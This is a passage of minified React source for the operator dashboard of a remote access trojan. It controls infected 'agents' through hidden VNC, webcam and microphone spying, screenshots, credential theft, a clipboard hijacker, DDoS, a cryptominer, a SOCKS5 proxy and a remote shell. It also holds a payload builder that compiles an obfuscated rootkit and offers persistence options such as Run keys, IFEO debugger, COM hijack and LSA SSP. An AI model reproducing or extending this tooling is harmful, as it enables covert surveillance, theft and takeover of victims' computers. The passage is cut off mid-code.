24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await n5(i.id);const D=et(),ce=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>he(D=>!D),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),oe&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:G,onChange:D=>re(Number(D.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(D=>s.jsxs("option",{value:D,children:["Camera ",D]},D))]}),s.jsx("button",{onClick:async()=>{he(!1);try{await r5(i.id,G);const D=et(),ce=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await i5(i.id);const D=et(),ce=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ce&&D){const K=J=>{var le;((le=J.data)==null?void 0:le.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ce.postMessage({type:"zerin_auth",token:D},window.location.origin),window.removeEventListener("message",K))};window.addEventListener("message",K)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ce(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>R(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium text-zerin-accent hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(pn,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(pn,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:I.length>0?I.length:void 0}),s.jsx(pn,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(pn,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(pn,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(pn,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(pn,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(pn,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(pn,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(pn,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(pn,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(pn,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(vp,{title:"System",children:[s.jsx(Gt,{label:"Hostname",value:i.hostname}),s.jsx(Gt,{label:"Username",value:i.username}),s.jsx(Gt,{label:"OS",value:jo(i.os)}),s.jsx(Gt,{label:"Architecture",value:i.arch}),s.jsx(Gt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Gt,{label:"Integrity",value:i.integrity}),s.jsx(Gt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(vp,{title:"Network",children:[s.jsx(Gt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Gt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(vp,{title:"Timing",children:[s.jsx(Gt,{label:"Sleep / Jitter",value:u5(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Gt,{label:"First Seen",value:wo(i.first_seen)}),s.jsx(Gt,{label:"Last Seen",value:Bc(i.last_seen)}),s.jsx(Gt,{label:"Agent ID",value:Ws(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${F!=null&&F.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:F!=null&&F.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:F.port?`127.0.0.1:${F.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:F.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[ym(F.bytes_in)," in / ",ym(F.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await FE(i.id),H({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const D=await a5(i.id);H({active:!0,port:D.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(D=>{var K;const ce=(K=D.args)!=null&&K.length?" "+D.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[D.command,ce]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${UU[D.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:D.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:wo(D.created_at)})]},D.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(zU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(CU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(PU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(EU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(AU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(OU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(RU,{agentId:i.id,agentStatus:i.status,autoGrab:B,onAutoGrabConsumed:()=>{U(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(FU,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(I3,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(WU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:I.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:I.map(D=>s.jsxs("button",{onClick:()=>O(D.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:L.has(D.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:D.dataUrl,alt:`Screenshot ${Ws(D.taskId)}`,className:`w-full h-full object-cover opacity-90 group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>W(ce=>new Set(ce).add(D.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Ws(D.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:Bc(D.timestamp)})]})})]},D.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>T(D=>!D),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${_?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),_&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(SU,{lines:X,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ne.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 bg-zerin-panel border border-zerin-panel-border z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ne.map(D=>s.jsx("button",{onClick:()=>ve(D),className:`px-2.5 py-1 text-xs font-mono bg-zerin-bg text-zerin-text-dim border border-zerin-panel-border hover:text-zerin-accent hover:border-zerin-accent/40 hover:bg-zerin-accent-muted transition-colors`,children:D},D))})]})}),V&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:V}),s.jsxs("form",{onSubmit:me,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:pe,type:"text",value:x,onChange:D=>g(D.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border px-3 py-1.5 text-zerin-text font-mono text-sm placeholder-zerin-text-muted focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white text-sm font-medium px-4 py-1.5 disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:y?"Sending...":"Execute"})]})]})]})})]})]}),s.jsx(d5,{agentId:i.id,agentHostname:i.hostname,open:P,onClose:()=>R(!1)}),z&&s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/80",onClick:()=>O(null),children:s.jsxs("div",{className:"relative max-w-[90vw] max-h-[90vh]",onClick:D=>D.stopPropagation(),children:[s.jsxs("button",{onClick:()=>O(null),className:`absolute -top-10 right-0 flex items-center gap-1.5 text-zerin-text-dim hover:text-zerin-text text-sm transition-colors px-2 py-1 hover:bg-white/10`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"Close"]}),s.jsx("img",{src:z,alt:"Screenshot",className:"max-w-[90vw] max-h-[85vh] object-contain"})]})})]})}function pn({label:e,active:t,onClick:n,badge:r}){return s.jsxs("button",{onClick:n,className:` px-4 py-2 text-sm font-medium transition-colors border-b-2 -mb-px ${t?"text-zerin-accent border-zerin-accent":"text-zerin-text-muted border-transparent hover:text-zerin-text"} `,children:[e,r!==void 0&&s.jsx("span",{className:"ml-1.5 bg-zerin-accent-muted text-zerin-accent text-xs font-mono px-1.5 py-0.5",children:r})]})}function vp({title:e,children:t}){return s.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:e})}),s.jsx("div",{className:"p-4 space-y-2.5",children:t})]})}function Gt({label:e,value:t,valueClass:n="",mono:r=!1}){return s.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[s.jsx("span",{className:"text-zerin-text-muted text-sm",children:e}),s.jsx("span",{className:`text-sm ${r?"font-mono":""} ${n||"text-zerin-text"}`,children:t})]})}const R3={agent_checkin:"Agent Check-in",agent_registered:"Agent Registered",agent_stale:"Agent Stale",agent_dead:"Agent Dead",task_queued:"Task Queued",task_result:"Task Result",task_completed:"Task Completed",task_failed:"Task Failed",operator_login:"Operator Login",listener_start:"Listener Started",listener_started:"Listener Started",listener_stopped:"Listener Stopped",server_start:"Server Started",payload_build:"Payload Built",vnc_started:"VNC Started",vnc_stopped:"VNC Stopped",system:"System"},b2={info:{label:"Info",dotClass:"bg-zinc-500",badgeBg:"bg-zinc-500/10",badgeText:"text-zinc-400"},success:{label:"Success",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/10",badgeText:"text-zinc-300"},warning:{label:"Warning",dotClass:"bg-zinc-400",badgeBg:"bg-zinc-400/8",badgeText:"text-zinc-400"},error:{label:"Error",dotClass:"bg-zerin-danger",badgeBg:"bg-zerin-danger-dim",badgeText:"text-zerin-danger"}},HU=["agent_checkin","agent_registered","agent_stale","agent_dead","task_queued","task_result","task_completed","task_failed","operator_login","listener_start","listener_started","listener_stopped","server_start","payload_build","system"];function KU(){const[e,t]=p.useState([]),[n,r]=p.useState(!0),[i,a]=p.useState("all"),[o,l]=p.useState(null),c=p.useCallback(async()=>{try{const m=await AE();t(m)}catch{}finally{r(!1)}},[]);p.useEffect(()=>{c()},[c]);const{lastMessage:u}=p.useContext(id);p.useEffect(()=>{if(u&&u.type==="event"){const m=u.payload;t(h=>{const x=[m,...h];return x.length>1e3?x.slice(0,1e3):x})}},[u]);const d=i==="all"?e:e.filter(m=>m.type===i),f=1e3;return s.jsxs("div",{className:"p-6",children:[e.length>=f&&s.jsxs("div",{className:"mb-4 flex items-center gap-2 bg-zerin-accent-muted border border-zerin-accent/20 px-4 py-2.5 text-sm text-zerin-accent",children:[s.jsx("svg",{className:"w-4 h-4 flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),"Showing latest ",f," events. Older events are not displayed."]}),s.jsx("div",{className:"flex items-center justify-between mb-6",children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:"Events"}),s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel border border-zerin-panel-border px-2 py-0.5 tabular-nums",children:e.length})]})}),s.jsxs("div",{className:"flex flex-wrap gap-2 mb-6",children:[s.jsx(w2,{label:"All",active:i==="all",onClick:()=>a("all")}),HU.map(m=>s.jsx(w2,{label:R3[m],active:i===m,onClick:()=>a(i===m?"all":m)},m))]}),n?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"flex items-center gap-3 text-zerin-text-muted text-sm",children:[s.jsxs("svg",{className:"animate-spin h-4 w-4 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),"Loading events..."]})}):d.length===0?s.jsx("div",{className:"flex items-center justify-center h-64",children:s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No events to display"}),i!=="all"&&s.jsx("button",{onClick:()=>a("all"),className:"text-zerin-accent hover:text-zerin-accent-hover text-sm mt-2 transition-colors",children:"Clear filter"})]})}):s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-2.5 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Severity"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Type"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Message"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider text-right",children:"Time"})]}),s.jsx("div",{children:d.map((m,h)=>s.jsx(qU,{event:m,expanded:o===m.id,onToggle:()=>l(o===m.id?null:m.id)},m.id||h))})]})]})}function qU({event:e,expanded:t,onToggle:n}){const r=b2[e.severity]||b2.info,i=e.details&&Object.keys(e.details).length>0;return s.jsxs("div",{className:`border-b border-zerin-panel-border last:border-b-0 transition-colors duration-100 ${t?"bg-zerin-panel-hover":"hover:bg-zerin-panel-hover"}`,children:[s.jsxs("div",{className:`grid grid-cols-[100px_140px_1fr_140px] gap-4 px-4 py-3 items-center ${i?"cursor-pointer":""}`,onClick:i?n:void 0,children:[s.jsx("div",{children:s.jsxs("span",{className:`inline-flex items-center gap-1.5 text-xs font-medium px-2.5 py-0.5 ${r.badgeBg} ${r.badgeText}`,children:[s.jsx("span",{className:`w-1.5 h-1.5 rounded-full ${r.dotClass}`}),r.label]})}),s.jsx("div",{children:s.jsx("span",{className:"text-xs font-mono text-zerin-text-dim bg-zerin-bg px-2 py-0.5",children:R3[e.type]||e.type})}),s.jsx("div",{className:"min-w-0",children:s.jsx("p",{className:"text-sm text-zerin-text truncate",children:e.message})}),s.jsx("div",{className:"text-right",children:s.jsx("span",{className:"text-xs text-zerin-text-muted font-mono tabular-nums",children:$A(e.timestamp)})})]}),t&&i&&s.jsx("div",{className:"px-4 pb-3",children:s.jsxs("div",{className:"ml-[100px] bg-zerin-bg border border-zerin-panel-border p-3",children:[s.jsx("p",{className:"text-xs font-medium text-zerin-text-dim mb-2 uppercase tracking-wider",children:"Details"}),s.jsx("div",{className:"space-y-1",children:Object.entries(e.details).map(([a,o])=>s.jsxs("div",{className:"flex items-baseline gap-2 text-xs font-mono",children:[s.jsxs("span",{className:"text-zerin-text-muted",children:[a,":"]}),s.jsx("span",{className:"text-zerin-text",children:String(o)})]},a))})]})})]})}function w2({label:e,active:t,onClick:n}){return s.jsx("button",{onClick:n,className:` px-3 py-1 text-xs font-medium border transition-all duration-150 ${t?"bg-zerin-accent-muted text-zerin-accent border-zerin-accent/30":"bg-zerin-panel text-zerin-text-muted border-zerin-panel-border hover:text-zerin-text-dim hover:border-zerin-panel-border-hover"} `,children:e})}const j2="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";function k2(){return`agent-${Math.random().toString(16).slice(2,6)}`}const N2=[{at:0,label:"Preparing source..."},{at:5,label:"Generating obfuscation..."},{at:10,label:"Compiling rootkit DLL..."},{at:20,label:"Compiling agent (this takes a moment)..."},{at:80,label:"Encrypting payload..."},{at:90,label:"Finalizing..."}],YU=[{flag:1,label:"Run Key",admin:!1,dllOnly:!1},{flag:2,label:"Scheduled Task",admin:!1,dllOnly:!1},{flag:4,label:"Service",admin:!0,dllOnly:!1},{flag:8,label:"Startup Folder",admin:!1,dllOnly:!1},{flag:16,label:"Logon Script",admin:!1,dllOnly:!1},{flag:32,label:"Screensaver",admin:!1,dllOnly:!1},{flag:64,label:"IFEO Debugger",admin:!0,dllOnly:!1},{flag:128,label:"BITS Job",admin:!1,dllOnly:!1},{flag:256,label:"COM Hijack",admin:!1,dllOnly:!0},{flag:512,label:"WMI Event",admin:!0,dllOnly:!1},{flag:1024,label:"Port Monitor",admin:!0,dllOnly:!1},{flag:2048,label:"SSP (LSA)",admin:!0,dllOnly:!1}];function 